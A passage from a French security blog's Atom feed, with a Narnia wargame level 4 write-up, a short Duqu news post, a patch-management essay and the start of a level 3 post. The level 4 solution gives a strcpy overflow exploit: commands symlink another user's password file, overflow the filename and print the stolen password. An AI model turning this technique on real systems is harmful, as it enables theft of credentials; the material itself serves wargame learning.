alt2"&gt;&lt;code class="c spaces"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class="c keyword bold"&gt;if&lt;/code&gt;&lt;code class="c plain"&gt;(argc != 2){&lt;/code&gt;&lt;/div&gt;&lt;div class="line number32 index31 alt1"&gt;&lt;code class="c spaces"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class="c functions bold"&gt;printf&lt;/code&gt;&lt;code class="c plain"&gt;(&lt;/code&gt;&lt;code class="c string"&gt;"usage, %s file, will send contents of file 2 /dev/null\n"&lt;/code&gt;&lt;code class="c plain"&gt;,argv[0]);&lt;/code&gt;&lt;/div&gt;&lt;div class="line number33 index32 alt2"&gt;&lt;code class="c spaces"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class="c functions bold"&gt;exit&lt;/code&gt;&lt;code class="c plain"&gt;(-1);&lt;/code&gt;&lt;/div&gt;&lt;div class="line number34 index33 alt1"&gt;&lt;code class="c spaces"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class="c plain"&gt;}&lt;/code&gt;&lt;/div&gt;&lt;div class="line number35 index34 alt2"&gt;&lt;code class="c spaces"&gt;&amp;nbsp;&lt;/code&gt;&amp;nbsp;&lt;/div&gt;&lt;div class="line number36 index35 alt1"&gt;&lt;code class="c spaces"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class="c comments"&gt;/* open files */&lt;/code&gt;&lt;/div&gt;&lt;div class="line number37 index36 alt2"&gt;&lt;code class="c spaces"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class="c functions bold"&gt;strcpy&lt;/code&gt;&lt;code class="c plain"&gt;(ifile, argv[1]);&lt;/code&gt;&lt;/div&gt;&lt;div class="line number38 index37 alt1"&gt;&lt;code class="c spaces"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class="c keyword bold"&gt;if&lt;/code&gt;&lt;code class="c plain"&gt;((ofd = open(ofile,O_RDWR)) &amp;lt; 0 ){&lt;/code&gt;&lt;/div&gt;&lt;div class="line number39 index38 alt2"&gt;&lt;code class="c spaces"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class="c functions bold"&gt;printf&lt;/code&gt;&lt;code class="c plain"&gt;(&lt;/code&gt;&lt;code class="c string"&gt;"error opening %s\n"&lt;/code&gt;&lt;code class="c plain"&gt;, ofile);&lt;/code&gt;&lt;/div&gt;&lt;div class="line number40 index39 alt1"&gt;&lt;code class="c spaces"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class="c functions bold"&gt;exit&lt;/code&gt;&lt;code class="c plain"&gt;(-1);&lt;/code&gt;&lt;/div&gt;&lt;div class="line number41 index40 alt2"&gt;&lt;code class="c spaces"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class="c plain"&gt;}&lt;/code&gt;&lt;/div&gt;&lt;div class="line number42 index41 alt1"&gt;&lt;code class="c spaces"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class="c keyword bold"&gt;if&lt;/code&gt;&lt;code class="c plain"&gt;((ifd = open(ifile, O_RDONLY)) &amp;lt; 0 ){&lt;/code&gt;&lt;/div&gt;&lt;div class="line number43 index42 alt2"&gt;&lt;code class="c spaces"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class="c functions bold"&gt;printf&lt;/code&gt;&lt;code class="c plain"&gt;(&lt;/code&gt;&lt;code class="c string"&gt;"error opening %s\n"&lt;/code&gt;&lt;code class="c plain"&gt;, ifile);&lt;/code&gt;&lt;/div&gt;&lt;div class="line number44 index43 alt1"&gt;&lt;code class="c spaces"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class="c functions bold"&gt;exit&lt;/code&gt;&lt;code class="c plain"&gt;(-1);&lt;/code&gt;&lt;/div&gt;&lt;div class="line number45 index44 alt2"&gt;&lt;code class="c spaces"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class="c plain"&gt;}&lt;/code&gt;&lt;/div&gt;&lt;div class="line number46 index45 alt1"&gt;&lt;code class="c spaces"&gt;&amp;nbsp;&lt;/code&gt;&amp;nbsp;&lt;/div&gt;&lt;div class="line number47 index46 alt2"&gt;&lt;code class="c spaces"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class="c comments"&gt;/* copy from file1 to file2 */&lt;/code&gt;&lt;/div&gt;&lt;div class="line number48 index47 alt1"&gt;&lt;code class="c spaces"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class="c plain"&gt;read(ifd, buf, &lt;/code&gt;&lt;code class="c keyword bold"&gt;sizeof&lt;/code&gt;&lt;code class="c plain"&gt;(buf)-1);&lt;/code&gt;&lt;/div&gt;&lt;div class="line number49 index48 alt2"&gt;&lt;code class="c spaces"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class="c plain"&gt;write(ofd,buf, &lt;/code&gt;&lt;code class="c keyword bold"&gt;sizeof&lt;/code&gt;&lt;code class="c plain"&gt;(buf)-1);&lt;/code&gt;&lt;/div&gt;&lt;div class="line number50 index49 alt1"&gt;&lt;code class="c spaces"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class="c functions bold"&gt;printf&lt;/code&gt;&lt;code class="c plain"&gt;(&lt;/code&gt;&lt;code class="c string"&gt;"copied contents of %s to a safer place... (%s)\n"&lt;/code&gt;&lt;code class="c plain"&gt;,ifile,ofile);&lt;/code&gt;&lt;/div&gt;&lt;div class="line number51 index50 alt2"&gt;&lt;code class="c spaces"&gt;&amp;nbsp;&lt;/code&gt;&amp;nbsp;&lt;/div&gt;&lt;div class="line number52 index51 alt1"&gt;&lt;code class="c spaces"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class="c comments"&gt;/* close 'em */&lt;/code&gt;&lt;/div&gt;&lt;div class="line number53 index52 alt2"&gt;&lt;code class="c spaces"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class="c plain"&gt;close(ifd);&lt;/code&gt;&lt;/div&gt;&lt;div class="line number54 index53 alt1"&gt;&lt;code class="c spaces"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class="c plain"&gt;close(ofd);&lt;/code&gt;&lt;/div&gt;&lt;div class="line number55 index54 alt2"&gt;&lt;code class="c spaces"&gt;&amp;nbsp;&lt;/code&gt;&amp;nbsp;&lt;/div&gt;&lt;div class="line number56 index55 alt1"&gt;&lt;code class="c spaces"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class="c functions bold"&gt;exit&lt;/code&gt;&lt;code class="c plain"&gt;(1);&lt;/code&gt;&lt;/div&gt;&lt;div class="line number57 index56 alt2"&gt;&lt;code class="c plain"&gt;}&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;Le programme se comprend facilement. Il prend en entrée un fichier de nom &lt;i&gt;&lt;b&gt;ifile&lt;/b&gt;&lt;/i&gt; et ayant en file descriptor &lt;i&gt;&lt;b&gt;ifd&lt;/b&gt;&lt;/i&gt;, et le copie en sortie dans le fichier de nom &lt;i&gt;&lt;b&gt;/dev/null&lt;/b&gt;&lt;/i&gt; ayant comme file descriptor &lt;i&gt;&lt;b&gt;ofd&lt;/b&gt;&lt;/i&gt;.&lt;br /&gt;L'exploitation va ressembler au niveau 1 de Narnia.&lt;br /&gt;&lt;br /&gt;Solution après le saut:&lt;br /&gt;&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;Dans la mémoire, nous allons trouver de manière contigüe ifile qui fait une taille de 32 octets et ofile.&lt;br /&gt;Si ifile fait plus de 32 octets, alors il déborde sur ofile, nous permettant de changer ainsi le nom du fichier de sortie.&lt;br /&gt;&lt;br /&gt;Il faut donc un fichier d'entrée pointant vers le password de level5, ce que l'on fait à l'aide d'un lien symbolique. Ce nom de fichier doit faire plus de 32 caractères. Les caractères au delà du 32e doivent correspondre d'une part à un fichier existant, d'autre part à un fichier dans lequel level5 peut écrire. Let's sploit!&lt;br /&gt;&lt;br /&gt;Quelque commandes UNIX permettent d'aboutir au pass sans trop de souci:&lt;br /&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;level4@narnia:/wargame$ cd /tmp&lt;br /&gt;level4@narnia:/tmp$ ln -s /home/level5/.passwd aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&lt;br /&gt;level4@narnia:/tmp$ touch aaaaaaaa&lt;br /&gt;level4@narnia:/tmp$ chmod 666 aaaaaaaa&lt;br /&gt;level4@narnia:/tmp$ /wargame/level4 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&lt;br /&gt;copied contents of aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa to a safer place...&lt;br /&gt;(aaaaaaaa)&lt;br /&gt;level4@narnia:/tmp$ cat aaaaaaaa&lt;br /&gt;bLRzDUjG&lt;br /&gt;(none)üÿ¿_ñlevel4@narnia:/tmp$ su - level5&lt;/div&gt;en avant vers le level5.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2330984441575997476-4038592132760658618?l=exploitability.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://exploitability.blogspot.com/feeds/4038592132760658618/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://exploitability.blogspot.com/2011/10/challenge-sur-intruded-narnia-level4_20.html#comment-form' title='0 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2330984441575997476/posts/default/4038592132760658618'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2330984441575997476/posts/default/4038592132760658618'/><link rel='alternate' type='text/html' href='http://exploitability.blogspot.com/2011/10/challenge-sur-intruded-narnia-level4_20.html' title='Challenge sur intruded - Narnia Level4'/><author><name>Kevin</name><uri>http://www.blogger.com/profile/02931502286392645382</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2330984441575997476.post-7638466080994238524</id><published>2011-10-19T10:10:00.001+02:00</published><updated>2011-10-19T17:07:44.240+02:00</updated><title type='text'>Duqu, le nouveau Stuxnet?</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;On passe de "&lt;i&gt;Why we won't see another Stuxnet&lt;/i&gt;" a "&lt;i&gt;Stuxnet Clone Found&lt;/i&gt;" en 3 mois :-)&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-8qRYbvK-T-0/Tp6ELnhLSsI/AAAAAAAAAGc/W0Dt01dVZNI/s1600/duqu.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="400" src="http://2.bp.blogspot.com/-8qRYbvK-T-0/Tp6ELnhLSsI/AAAAAAAAAGc/W0Dt01dVZNI/s400/duqu.png" width="307" /&gt;&lt;/a&gt;&lt;/div&gt;Lien du tweet du haut: &lt;a class="twitter-timeline-link" data-display-url="fxn.ws/oxzDoI" data-expanded-url="http://fxn.ws/oxzDoI" data-ultimate-url="http://www.foxnews.com/scitech/2011/10/18/stuxnet-clone-found-possibly-preparing-power-plant-attacks/" href="http://t.co/imo0NPxw" rel="nofollow" target="_blank" title="http://www.foxnews.com/scitech/2011/10/18/stuxnet-clone-found-possibly-preparing-power-plant-attacks/"&gt;http://fxn.ws/oxzDoI&lt;/a&gt;&lt;br /&gt;Lien du retweet de Kaspersky:&amp;nbsp; &lt;a href="http://www.securitynewsdaily.com/stuxnet-anniversary-look-ahead-0988/"&gt;http://www.securitynewsdaily.com/stuxnet-anniversary-look-ahead-0988/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Beaucoup de liens commencent à tourner. Liste volontairement écourtée:&lt;br /&gt;&lt;ul style="text-align: left;"&gt;&lt;li&gt;&lt;a href="http://expertmiami.blogspot.com/2011/10/et-un-autre-stuxnet.html"&gt;http://expertmiami.blogspot.com/2011/10/et-un-autre-stuxnet.html&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.symantec.com/connect/w32_duqu_precursor_next_stuxnet"&gt;http://www.symantec.com/connect/w32_duqu_precursor_next_stuxnet&lt;/a&gt; (régulièrement updaté)&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_duqu_the_precursor_to_the_next_stuxnet.pdf"&gt;http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_duqu_the_precursor_to_the_next_stuxnet.pdf&lt;/a&gt; le papier technique analysant le code&lt;/li&gt;&lt;/ul&gt;On apprend entre autre qu'une clé ayant servi à signer duqu a été volée à un client de .....&amp;nbsp; symantec :-) &lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2330984441575997476-7638466080994238524?l=exploitability.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://exploitability.blogspot.com/feeds/7638466080994238524/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://exploitability.blogspot.com/2011/10/duqu-le-nouveau-stuxnet.html#comment-form' title='2 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2330984441575997476/posts/default/7638466080994238524'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2330984441575997476/posts/default/7638466080994238524'/><link rel='alternate' type='text/html' href='http://exploitability.blogspot.com/2011/10/duqu-le-nouveau-stuxnet.html' title='Duqu, le nouveau Stuxnet?'/><author><name>Kevin</name><uri>http://www.blogger.com/profile/02931502286392645382</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/-8qRYbvK-T-0/Tp6ELnhLSsI/AAAAAAAAAGc/W0Dt01dVZNI/s72-c/duqu.png' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2330984441575997476.post-7726889071916399915</id><published>2011-10-18T08:53:00.003+02:00</published><updated>2011-10-18T10:45:24.221+02:00</updated><title type='text'>Back to the basics : le patch management</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;br /&gt;J'ai donné ces derniers jours quelques exploitations de mémoires.&lt;br /&gt;C'est fait de manière artisanale, avec gdb et une calculette hexa, mais&amp;nbsp;tout le monde sait qu'il existe de meilleurs outils (ida, metasploit, d'autres?).&amp;nbsp;Ces exploitations sont très simples, car il n'y a &lt;a href="http://2011.rmll.info/Etat-des-lieux-des-systemes-de-protection-contre-les-buffers-overflow-sous-Linux"&gt;aucune protection sur l'OS ou le binaire&lt;/a&gt;. Ces protections n'empêchent pas&amp;nbsp;l'exploitation, à chaque fois les attaquants réussissent à contourner&amp;nbsp;ces barrières. Est-ce que la bataille est perdue?&lt;br /&gt;&lt;br /&gt;J'ai lu &lt;a href="http://carnal0wnage.attackresearch.com/2011/09/my-personal-war-against-overuse-of.html"&gt;un article de blog intéressant&lt;/a&gt;, indiquant la lassitude&amp;nbsp;d'un hacker à se promener dans la mémoire pour réussir à obtenir un&amp;nbsp;exploit fiable. Il parle de plusieurs semaines (mois) de recherche&amp;nbsp;pour obtenir un exploit correct. La solution passe peut-être par là.&amp;nbsp;La durée de vie trop longue semble une donnée importante.&amp;nbsp;L'exemple de windowsXP est marquant. Nous avons une génération de&amp;nbsp;pirates qui a pu passé 10 ans sur un système. Avec le &lt;a href="http://en.wikipedia.org/wiki/Release_early,_release_often"&gt;release&amp;nbsp;early release often&lt;/a&gt;&amp;nbsp;popularisé par linux, le temps nécessaire à attaquer est supérieur&amp;nbsp;à la durée de vie d'une release. Un second exemple vient d'une grosse société pour qui j'ai&amp;nbsp;travaillé. La validation des socles (hardware, OS, BdD, logiciels)&amp;nbsp;prenait plusieurs années. Une fois le socle validé, aucun changement&amp;nbsp;ou patch n'est autorisé. D'un certain côté on gagne en sécurité de&amp;nbsp;fonctionnement (la reliability) puisque le socle est _parfaitement_&amp;nbsp;connu, d'un autre on perd en sécurité (les failles) puisque le&amp;nbsp;socle ne sera jamais patché. [&lt;span class="Apple-style-span" style="font-size: x-small;"&gt;Dans le cas présent, les machines&amp;nbsp;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-size: x-small;"&gt;n'étaient pas sur un réseau connecté à internet, mais je ne suis&amp;nbsp;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-size: x-small;"&gt;pas partisan de cette manière de faire&lt;/span&gt;]. Un pirate pourrait&amp;nbsp;forger son exploit pendant des années avant de le lancer.&lt;br /&gt;&lt;br /&gt;La durée d'utilisation d'un programme correctement protégé&amp;nbsp;semble être une faille en soi.&amp;nbsp;Nous avons donc d'un côté des binaires de plus en plus difficile à exploiter, et de l'autre des méthodes de rolling releases émergent&amp;nbsp;comme Chrome ou firefox. Comment exploiter une faille si le programme&amp;nbsp;attaqué change plusieurs fois par mois? Je n'ai pas vérifié, mais&amp;nbsp;si chrome n'est pas attaqué dans les pwn2own, c'est qu'il est si&amp;nbsp;solide que ça ou qu'il change trop fréquemment pour qu'on s'intéresse à l'attaquer?&lt;br /&gt;&lt;br /&gt;Pour l'administrateur, c'est simple, c'est du patch management, et le patch management,&amp;nbsp;ça fait bien depuis 2003 que c'est une technique maîtrisée.&lt;br /&gt;L'immobilité pour les systèmes, c'est la mort assurée. La course&amp;nbsp;en avant vers les versions toujours plus à jour serait une solution?&amp;nbsp;Après le SDL, le &lt;i&gt;release early release often&lt;/i&gt; pour l'ensemble&amp;nbsp;du système d'information?&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2330984441575997476-7726889071916399915?l=exploitability.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://exploitability.blogspot.com/feeds/7726889071916399915/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://exploitability.blogspot.com/2011/10/back-to-basics-le-patch-management.html#comment-form' title='1 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2330984441575997476/posts/default/7726889071916399915'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2330984441575997476/posts/default/7726889071916399915'/><link rel='alternate' type='text/html' href='http://exploitability.blogspot.com/2011/10/back-to-basics-le-patch-management.html' title='Back to the basics : le patch management'/><author><name>Kevin</name><uri>http://www.blogger.com/profile/02931502286392645382</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2330984441575997476.post-9082337760873940287</id><published>2011-10-17T06:00:00.000+02:00</published><updated>2011-10-18T08:57:14.275+02:00</updated><title type='text'>Challenge sur intruded - Narnia Level3</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;Le niveau3 de Narnia continue dans la thématique des deux précédents. Nous avons vu comment écraser des données dans la mémoire (niveau 1), et ce qu'est un shellcode (niveau2).&lt;br /&gt;Le code du niveau3 est le suivant:&lt;br /&gt;&lt;br /&gt;&lt;div class="container"&gt;&lt;div class="line number1 index0 alt2"&gt;&lt;code class="c comments"&gt;/*&lt;/code&gt;&lt;/div&gt;&lt;div class="line number2 index1 alt1"&gt;&lt;code class="c spaces"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class="c comments"&gt;This program is free software; you can redistribute it and/or modify&lt;/code&gt;&lt;/div&gt;&lt;div class="line number3 index2 alt2"&gt;&lt;code class="c spaces"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class="c comments"&gt;it under the terms of the GNU General Public License as published by&lt;/code&gt;&lt;/div&gt;&lt;div class="line number4 index3 alt1"&gt;&lt;code class="c spaces"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class="c comments"&gt;the Free Software Foundation; either version 2 of the License, or&lt;/code&gt;&lt;/div&gt;&lt;div class="line number5 index4 alt2"&gt;&lt;code class="c spaces"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class="c comments"&gt;(at your option) any later version.&lt;/code&gt;&lt;/div&gt;&lt;div class="line number6 index5 alt1"&gt;&lt;/div&gt;&lt;div class="line number7 index6 alt2"&gt;&lt;code class="c spaces"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class="c comments"&gt;This program is distributed in the hope that it will be useful,&lt;/code&gt;&lt;/div&gt;&lt;div class="line number8 index7 alt1"&gt;&lt;code class="c spaces"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class="c comments"&gt;but WITHOUT ANY WARRANTY; without even the implied warranty of&lt;/code&gt;&lt;/div&gt;&lt;div class="line number9 index8 alt2"&gt;&lt;code class="c spaces"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class="c comments"&gt;MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.&amp;nbsp; See the&lt;/code&gt;&lt;/div&gt;&lt;div class="line number10 index9 alt1"&gt;&lt;code class="c spaces"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class="c comments"&gt;GNU General Public License for more details.&lt;/code&gt;&lt;/div&gt;&lt;div class="line number11 index10 alt2"&gt;&lt;/div&gt;&lt;div class="line number12 index11 alt1"&gt;&lt;code class="c spaces"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class="c comments"&gt;You should have received a copy of the GNU General Public License&lt;/code&gt;&lt;/div&gt;&lt;div class="line number13 index12 alt2"&gt;&lt;code class="c spaces"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class="c comments"&gt;along with this program; if not, write to the Free Software&lt;/code&gt;&lt;/div&gt;&lt;div class="line number14 index13 alt1"&gt;&lt;code class="c spaces"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class="c comments"&gt;Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA&amp;nbsp; 02110-1301&amp;nbsp; USA&lt;/code&gt;&lt;/div&gt;&lt;div class="line number15 index14 alt2"&gt;&lt;code class="c comments"&gt;*/&lt;/code&gt;&lt;/div&gt;&lt;div class="line number16 index15 alt1"&gt;&lt;/div&gt;&lt;div class="line number17 index16 alt2"&gt;&lt;code class="c preprocessor"&gt;#include &amp;lt;stdio.h&amp;gt;&lt;/code&gt;&lt;/div&gt;&lt;div class="line number18 index17 alt1"&gt;&lt;code class="c preprocessor"&gt;#include &amp;lt;stdlib.h&amp;gt;&lt;/code&gt;&lt;/div&gt;&lt;div class="line number19 index18 alt2"&gt;&lt;code class="c preprocessor"&gt;#include &amp;lt;string.h&amp;gt;&lt;/code&gt;&lt;/div&gt;&lt;div class="line number20 index19 alt1"&gt;&lt;/div&gt;&lt;div class="line number21 index20 alt2"&gt;&lt;code class="c color1 bold"&gt;int&lt;/code&gt; &lt;code class="c plain"&gt;main(&lt;/code&gt;&lt;code class="c color1 bold"&gt;int&lt;/code&gt; &lt;code class="c plain"&gt;argc, &lt;/code&gt;&lt;code class="c color1 bold"&gt;char&lt;/code&gt; &lt;code class="c plain"&gt;* argv[]){&lt;/code&gt;&lt;/div&gt;&lt;div class="line number22 index21 alt1"&gt;&lt;code class="c spaces"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class="c color1 bold"&gt;char&lt;/code&gt; &lt;code class="c plain"&gt;buf[128];&lt;/code&gt;&lt;/div&gt;&lt;div class="line number23 index22 alt2"&gt;&lt;/div&gt;&lt;div class="line number24 index23 alt1"&gt;&lt;code class="c spaces"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class="c keyword bold"&gt;if&lt;/code&gt;&lt;code class="c plain"&gt;(argc == 1){&lt;/code&gt;&lt;/div&gt;&lt;div class="line number25 index24 alt2"&gt;&lt;code class="c spaces"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class="c functions bold"&gt;printf&lt;/code&gt;&lt;code class="c plain"&gt;(&lt;/code&gt;&lt;code class="c string"&gt;"Usage: %s argument\n"&lt;/code&gt;&lt;code class="c plain"&gt;, argv[0]);&lt;/code&gt;&lt;/div&gt;&lt;div class="line number26 index25 alt1"&gt;&lt;code class="c spaces"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class="c functions bold"&gt;exit&lt;/code&gt;&lt;code class="c plain"&gt;(1);&lt;/code&gt;&lt;/div&gt;&lt;div class="line number27 index26 alt2"&gt;&lt;code class="c 